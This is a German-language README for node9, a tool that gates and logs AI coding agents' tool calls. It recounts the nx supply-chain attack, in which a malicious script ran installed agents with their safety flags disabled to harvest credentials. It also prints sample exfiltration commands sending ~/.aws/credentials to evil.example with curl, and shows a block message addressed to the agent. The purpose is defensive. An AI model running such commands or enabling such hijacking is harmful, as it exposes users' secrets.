Zugriffskontrolle für KI-Agenten. Legen Sie fest, was Claude Code, Codex, Gemini, Cursor und jeder MCP-Server tun dürfen, prüfen Sie riskante Aktionen, bevor sie ausgeführt werden, und protokollieren Sie jede Aktion.
<h1 align="center">🛡️ node9</h1> <p align="center">Zugriffskontrolle für KI-Agenten</p> <p align="center"><strong>Ihre KI-Agenten können auf Slack, GitHub, E-Mail und Ihre Datenbank zugreifen.<br />node9 entscheidet, was sie mit jedem einzelnen tun dürfen.</strong></p> <p align="center"> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a> <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a> <a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a> <a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a> <a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a> <a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K" alt="node9 self-scanned" /></a> <a href="https://github.com/hesreallyhim/awesome-claude-code"><img src="https://awesome.re/mentioned-badge-flat.svg" alt="Mentioned in Awesome Claude Code" /></a> </p> **Credential Jail** · **Secrets und PII** · **destruktives Git, SQL und Shell zur Überprüfung angehalten** · **MCP-Tool-Pinning** · **Netzwerk-Egress-Allowlist** · **Loop-Breaker** · **ein Datensatz über zwölf Agenten hinweg** Funktioniert mit **Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · jedem MCP-Server**. ## Wie es aussieht Eine echte Claude-Code-Sitzung mit installiertem node9. Jeder Tool-Aufruf wird geprüft, bevor er ausgeführt wird. Das Erstellen einer Seite und das Bearbeiten einer Schaltfläche werden ausgeführt. Eine Anfrage an die Cloud- Metadaten-Adresse wird blockiert, und der Agent erhält den Grund und macht weiter. Das Löschen von Dateien wartet auf Ihre Genehmigung, direkt im Chat. <p align="center"> <img src="https://github.com/user-attachments/assets/bfd3eec5-94fa-45a9-ac79-d06684ab4b2c" width="760" alt="node9 in einer Claude-Code-Sitzung: zwei Aufrufe erlaubt, einer blockiert, einer zur Genehmigung angehalten" /> </p> ## Installation ```bash brew tap node9-ai/node9 && brew install node9 # macOS / Linux npm install -g node9-ai # any platform ``` Dann in einem beliebigen Projekt: ```bash node9 # first run: choose dashboard connection or local protection node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run node9 login # optional: adds this machine to a shared dashboard ``` Erfordert Node.js 22+. In einem neuen interaktiven Terminal führt `node9` Sie durch die Einrichtung. Lokaler Schutz benötigt kein Konto. Die Checkliste zeigt empfohlene Shields, DLP/PII, optionale Netzwerk-Egress-Überprüfung und den Hintergrunddienst. Nutzungsstatistiken werden nur gesendet, wenn Sie die separate Aufforderung akzeptieren. Die Zusammenfassung listet konfigurierte Agenten und alle Einrichtungsschritte auf, die Aufmerksamkeit erfordern. Führen Sie `node9 setup` aus, um die Einrichtung erneut aufzurufen, oder `node9 setup <target>`, um einen Agenten zu konfigurieren. Nach der Konfiguration zeigt ein bloßes `node9` die Hilfe an. `node9 init` bleibt verfügbar; für Skripte verwenden Sie `node9 init --recommended` (keine Fragen und kein Telemetrie-Opt-in). `--skip-setup` lässt die Agenten-Verkabelung und die Dienstinstallation unberührt. Ein expliziter `--mode` hat Vorrang vor der Standardmodus-Empfehlung der Checkliste. Bestehende Einstellungen bleiben erhalten, es sei denn, ausgewählte Änderungen oder explizite Flags fordern eine Aktualisierung an. Die Workspace-Richtlinie wird im Dashboard verwaltet; Diensteinstellungen bleiben lokal. **`login` fügt der Durchsetzung nichts hinzu.** Es verbindet die Maschine mit einem Workspace, damit ein Team einen Datensatz über die Laptops und CI aller hinweg sehen, Richtlinien zentral festlegen und angehaltene Aktionen über ein Dashboard oder Slack genehmigen kann. Überspringen Sie es, und node9 funktioniert genau gleich, allein, offline. `node9 logout` trennt die Verbindung wieder, und die lokale Durchsetzung läuft weiter. ### Verwendung als MCP-Server node9 läuft auch als MCP-Server, sodass ein Agent seinen Status, seine Posture, seinen Audit- Datensatz und seine Richtlinie lesen und jede Entscheidung aus der Konversation heraus erklären kann: ```bash claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server ``` Jeder MCP-Client funktioniert auf die gleiche Weise: Der Befehl lautet `npx -y node9-ai mcp-server` über stdio, ohne API-Schlüssel. Er ist im offiziellen MCP-Registry als `io.github.node9-ai/node9` gelistet. ## Das Problem Im August 2025 lieferten kompromittierte Releases des [`nx`-Build-Tools](https://github.com/advisories/GHSA-cxm3-wv7p-598c) ein Post-Install- Skript aus, das nach bereits auf dem Entwicklerrechner installierten KI-Coding-Agenten suchte und sie dann mit ihren eigenen deaktivierten Sicherheits-Flags (`--dangerously-skip-permissions`, `--yolo`, `--trust-all-tools`) ausführte, um SSH-Schlüssel, Cloud-Anmeldedaten und Wallet-Dateien zu enumerieren und die Liste auf die Festplatte zu schreiben. Das Skript übertrug die Ergebnisse in öffentliche Repositories innerhalb der eigenen GitHub- Konten der Opfer. Mehr als tausend gültige GitHub-Token gelangten an die Öffentlichkeit, zusammen mit Cloud-Anmeldedaten, npm- Token und rund 20.000 Dateien, von Maschinen, auf denen der Agent genau das tat, was ihm gesagt wurde. Der Agent war nicht der Angreifer. Der Agent war das Werkzeug, und nichts stand zwischen ihm und den Dateien. Das Gate von node9 ist keines dieser Flags: Es läuft im Hook, und eine Aktion, die es anhält, bleibt angehalten, selbst wenn der Agent mit übersprungenen Berechtigungen gestartet wurde. ## Was node9 dagegen tut node9 sitzt zwischen dem Agenten und jedem Tool, das er aufruft. Das Credential Jail (`~/.ssh`, `~/.aws`, `.env`-Dateien, private Schlüssel) ist standardmäßig aktiv, und ein Lesezugriff auf einen dieser Pfade wird nicht ausgeführt. Der Agent wird gestoppt, ihm wird der Grund mitgeteilt, und die Entscheidung erreicht Sie: ```text NODE9: Action blocked by security policy. INSTRUCTIONS: - Do NOT retry this exact command or attempt to bypass the rule. - Pivot to a non-destructive or read-only alternative. - Inform the user which security rule was triggered and ask how to proceed. ``` Der Befehl wird als Shell-AST geparst, nicht als Text abgeglichen, sodass das Umhüllen des Lesezugriffs nicht hilft. `echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` wird als Lesezugriff auf `~/.aws/credentials` beurteilt, nicht als `echo`. node9 ist ein **Gate**. Eine angehaltene Aktion wird nicht ausgeführt, während sie auf Sie wartet, und wenn Sie nie antworten, bleibt sie blockiert. Alles andere ist erlaubt und wird im Datensatz festgehalten. **Was es nicht tut:** Bei deaktivierter Egress-Kontrolle, was der Standard ist, wird ein Befehl, der eine Datei direkt ins Netzwerk übergibt, wie `curl -d @~/.aws/credentials`, nicht als Lesezugriff auf diese Datei behandelt. `node9 egress protect` gated auch Ziele, und es deckt nur Shell-Befehle ab. ## Selbst überprüfen Nichts untenstehendes benötigt ein Konto, und nichts wird hochgeladen. ```bash npx node9-ai scan # every past agent session on this machine npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed ``` <p align="center"> node9 scan scorecard </p> ## Was es regelt Jede Zeile ist eine Fähigkeit, mit der Seite, die sie dokumentiert. Die Dokumentation ist die Referenz; diese Datei ist die Karte. | | | | | --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | | **Credential Jail** | `~/.ssh`, `~/.aws`, `.env` und private Schlüssel werden für jedes Tool blockiert, nicht nur für die Shell | [docs](https://node9.ai/docs/shields) | | **Always-on-Regeln** | destruktives Git, SQL ohne `WHERE`, `curl \| bash` und unbefugtes `sudo`, ohne Konfiguration | [docs](https://node9.ai/docs/smart-rules) | | **Secrets und PII** | AWS-Schlüssel, GitHub- und Stripe-Token, PEM-Schlüssel und Karten- oder SSN-Muster, in jedem Tool-Argument, plus ein Hintergrundscan dessen, was der Agent zurückgeschrieben hat | [docs](https://node9.ai/docs/dlp) | | **Shields pro Dienst** | kuratierte Regelpakete für Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub und das Dateisystem | [docs](https://node9.ai/docs/shields) | | **Inline-Überprüfung** | eine angehaltene Aktion fragt Sie innerhalb der Agenten-Konversation oder über einen Team-Genehmiger | [docs](https://node9.ai/docs/cloud-policy) | | **Egress-Allowlist** | gated, wohin ein Shell-Befehl Daten senden darf, standardmäßig aus | [docs](https://node9.ai/docs/egress) | | **MCP-Gateway** | jeden MCP-Server umhüllen, jedes Tool autorisieren und Tool-Definitionen pinnen, damit ein Server sie nicht hinter Ihrem Rücken ändern kann | [docs](https://node9.ai/docs/mcp-gateway) | | **Sandbox** | einen Agenten in einem Container mit einer Kernel-Egress-Allowlist und begrenzten Mounts ausführen | [docs](https://node9.ai/docs/sandbox) | | **Posture-Score** | wie exponiert diese Maschine ist, mit dem Befehl, der jeden Befund behebt | [docs](https://node9.ai/docs/posture) | | **Repo-Scanning** | Workflows finden, in denen ein Außenstehender einen Agenten kapern könnte, der Ihre Secrets hält, in CI oder über die CLI | [docs](https://node9.ai/docs/repo-scanning) | | **Sitzungsverlauf** | lesen, was jeder Agent bereits auf dieser Maschine getan hat, bevor node9 installiert wurde | [docs](https://node9.ai/docs/sessions) | | **Live-Monitor und Bericht** | ein Terminal-Dashboard und eine fensterbasierte Zusammenfassung von Kosten, Tools, Blockierungen und Blast Radius | [docs](https://node9.ai/docs/report) | | **Skills-Pinning** | SHA-256-Verifikation installierter Claude-Skills und -Plugins zwischen Sitzungen | [docs](https://node9.ai/docs/skill-pinning) | | **Canary-Anmeldedaten** | platzierte gefälschte Schlüssel, die beweisen, dass ein Exfiltrationsversuch stattgefunden hat | [docs](https://node9.ai/docs/canary-credentials) | | **Python-SDK** | jeden Python-Agenten regeln, nicht nur die CLIs | [docs](https://node9.ai/docs/python-sdk) | Vollständige CLI- und Konfigurationsreferenz: **[node9.ai/docs](https://node9.ai/docs)**. Wie die Schichten zusammenpassen: **[how it works](https://node9.ai/docs/how-it-works)**. ## Lernen Hintergrundlektüre, geschrieben, um für sich allein zu stehen. Jede Seite sagt, was node9 nicht abdeckt. - **[What can a hijacked agent do?](https://node9.ai/learn/what-can-a-hijacked-agent-do)**: der Blast Radius einer kompromittierten Sitzung - **[How an AI agent leaks a secret](https://node9.ai/learn/ai-agent-secret-exfiltration)**: die Wege, die ein Credential tatsächlich nach draußen nimmt - **[Claude Code security](https://node9.ai/learn/claude-code-security)**: Hooks, Berechtigungsmodi und was sie nicht stoppen - **[MCP security](https://node9.ai/learn/mcp-security)**: die Tool-Oberfläche, die ein MCP-Server öffnet - **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**: die Liste, auf reale Kontrollen abgebildet ## Vergleich - **[node9 gegen die Alternativen](https://node9.ai/compare)**: eine Matrix, einschließlich der Zeilen, in denen node9 schlechter abschneidet - **[Abdeckung pro Agent](https://node9.ai/agents)**: was bei jedem der zwölf unterstützten Agenten geregelt wird ## Verwandte Projekte - **[node9-python](https://github.com/node9-ai/node9-python)**: Python-SDK - **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**: die GitHub Action, `uses: node9-ai/node9-proxy@v2`, gated jeden PR mit derselben Engine ## Enterprise **node9 Pro** fügt Governance-Locking, SAML/SSO, zentralen Audit-Export und VPC-Bereitstellung hinzu. Siehe [node9.ai](https://node9.ai). ## Lizenz Apache-2.0 <p align="center"> <sub>Gebaut mit ☕ und gesunder Paranoia.</sub> </p>
